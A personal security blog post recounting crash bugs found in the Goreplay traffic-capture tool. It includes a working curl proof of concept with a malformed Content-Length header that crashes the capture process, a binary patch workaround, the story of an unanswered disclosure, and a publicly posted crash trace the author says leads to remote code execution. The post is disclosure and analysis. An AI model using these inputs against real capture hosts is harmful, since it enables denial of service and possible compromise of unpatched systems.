Goreplay Crashed, My Hopes Did Too
A couple of weeks ago, I tried to get my first CVE but failed miserably. I will talk about how I found the bugs, the process, and the result.
Intro
Goreplay, shortly Gor, is an open-source tool for capturing and replaying live HTTP traffic. It uses the gopacket library to capture packets.
Bugs
Gor has a very basic parser for headers and crashes when malformed headers are present. For example:
POC
- Start a simple server on port 8000:
python3 -m http.server
- Start the capture:
sudo ./gor -input-raw enp0s1:8000 -output-stdout
- Send the packet (the
Content-Length
header is malformed)
curl -v http://localhost:8000 \
-H $'Host: example.com' \
-H $'Content-Length:\n16' \
--data 'Body content ...'
Crash
panic: runtime error: slice bounds out of range [88:87]
goroutine 18 [running]:
github.com/buger/goreplay/proto.header(0xc0000fa132, 0xa0, 0xa0, 0xc00005fe09, 0xe, 0xe, 0x0, 0x0, 0x0, 0xffffffffffffffff, ...)
/go/src/github.com/buger/goreplay/proto/proto.go:118 +0x425
github.com/buger/goreplay/proto.Header(...)
/go/src/github.com/buger/goreplay/proto/proto.go:152
github.com/buger/goreplay/proto.HasFullPayload(0x1077fc0, 0xc000310000, 0xc0002f4040, 0x1, 0x1, 0x90)
/go/src/github.com/buger/goreplay/proto/proto.go:523 +0x545
github.com/buger/goreplay/capture.http1EndHint(0xc000310000, 0xc00030e1a0)
/go/src/github.com/buger/goreplay/capture/capture.go:361 +0x8b
github.com/buger/goreplay/tcp.(*MessageParser).addPacket(0xc0002da000, 0xc000310000, 0xc00030e1a0, 0xc000312048)
/go/src/github.com/buger/goreplay/tcp/tcp_message.go:354 +0x6d
github.com/buger/goreplay/tcp.(*MessageParser).processPacket(0xc0002da000, 0xc00030e1a0)
/go/src/github.com/buger/goreplay/tcp/tcp_message.go:343 +0x272
github.com/buger/goreplay/tcp.(*MessageParser).wait(0xc0002da000)
/go/src/github.com/buger/goreplay/tcp/tcp_message.go:268 +0x1eb
created by github.com/buger/goreplay/tcp.NewMessageParser
/go/src/github.com/buger/goreplay/tcp/tcp_message.go:249 +0x194
Fix
From the crash log, we see that it occurs on line 118. Let’s see what’s there:
value = payload[valueStart : valueEnd+1]
Since Gor has a very basic header parser, it doesn’t check the boundaries of the payload array. Go has a built-in array bounds checker, so it crashes when the slice range exceeds the capacity of the array.
Here is what Go’s array boundary check looks like:
loc_7398B9:
lea rcx, [rdi+1]
mov rdx, [rsp+70h+payload.cap]
cmp rcx, rdx
ja loc_739A65
cmp rsi, rcx
ja loc_739A5C
loc_73992F:
mov [rsp+70h+value.array], 0
xorps xmm0, xmm0
movups xmmword ptr [rsp+70h+value.len], xmm0
mov [rsp+70h+headerStart], 0FFFFFFFFFFFFFFFFh
mov [rsp+70h+headerEnd], 0FFFFFFFFFFFFFFFFh
mov [rsp+70h+valueStart], 0FFFFFFFFFFFFFFFFh
mov [rsp+70h+valueEnd], 0FFFFFFFFFFFFFFFFh
mov rbp, [rsp+70h+var_8]
add rsp, 70h
nop
retn
loc_739A65:
call runtime_panicSliceAcap
loc_739A5C:
mov rax, rsi
nop
call runtime_panicSliceB
Instead of crashing the app, we can patch the ja
opcode to jump somewhere safe. For example, if we want to just ignore it, we can jump to the loc_73992F
location so that it safely ignores the issue.
Original | Patched | Assembly |
---|---|---|
0F 87 97 01 00 00 |
0F 87 61 00 00 00 |
ja loc_73992F |
OF 87 85 01 00 00 |
0F 87 58 00 00 00 |
ja loc_73992F |
Reporting
I informed the author of the library by email. It was actually hard to report the vulnerability. The README file says:
All bug reports and suggestions should go through GitHub Issues or our Google Group (you can just send an email to gor-users@googlegroups.com). If you have a private question, feel free to send an email to support@gortool.com.
I tried to email that address, but it seems the address is no longer valid. I had to find the author and his personal email address to report the bug. I gave them a detailed explanation of the bug and told them that I was planning to request a CVE in 2 weeks (on May 8, 2025). They replied the next day and said they would love to fix it.
As of today, June 22, 2025, the bug is still there, and I don’t see any sign of a fix.
I also tried to get a CVE via https://cveform.mitre.org/
, but they didn’t acknowledge my report.
Anyway, if anybody wants to get a CVE for this software, here is another crash log that leads to RCE.
#0 github.com/buger/goreplay/internal/tcp.(*Packet).parse (pckt=0xc00e6ea750, data=...,
lType=3399988123389603631, lTypeLen=3399988123389603631, cp=0x2f2f2f2f2f2f2f2f,
allowEmpty=false, ~r0=...) at github.com/buger/goreplay/internal/tcp/tcp_packet.go:101
proto = <optimized out>
dOf = <optimized out>
ldata = <optimized out>
netLayer = <optimized out>
transLayer = <optimized out>
ndata = <optimized out>
#1 0x0000000000b6d27b in github.com/buger/goreplay/internal/tcp.ParsePacket (data=...,
lType=3399988123389603631, lTypeLen=3399988123389603631, ci=0x2f2f2f2f2f2f2f2f,
allowEmpty=false, pckt=<optimized out>, err=...)
at github.com/buger/goreplay/internal/tcp/tcp_packet.go:88
err = <optimized out>
#2 0x0000000000b6c605 in github.com/buger/goreplay/internal/tcp.(*MessageParser).parsePacket (
parser=0xc000014000, pcapPkt=<optimized out>, ~r0=<optimized out>)
at github.com/buger/goreplay/internal/tcp/tcp_message.go:282
pckt = <optimized out>
err = <optimized out>
#3 0x0000000000b6c54d in github.com/buger/goreplay/internal/tcp.(*MessageParser).wait (
parser=0xc000014000) at github.com/buger/goreplay/internal/tcp/tcp_message.go:268
pckt = 0x2f2f2f2f2f2f2f2f
#4 0x0000000000b6c3c5 in github.com/buger/goreplay/internal/tcp.NewMessageParser.gowrap1 ()
at github.com/buger/goreplay/internal/tcp/tcp_message.go:249
#5 0x0000000000481da1 in runtime.goexit () at runtime/asm_amd64.s:1700
No locals.
#6 0x0000000000000000 in ?? ()
You can see that my payload //////
, which is essentially 0x2f2f2f2f2f2f2f2f
, controls the execution.
This bug occurs when you capture traffic in raw_socket
mode. I won’t dive deep into how this bug happens. Why bother, if even the original software author doesn’t care about it?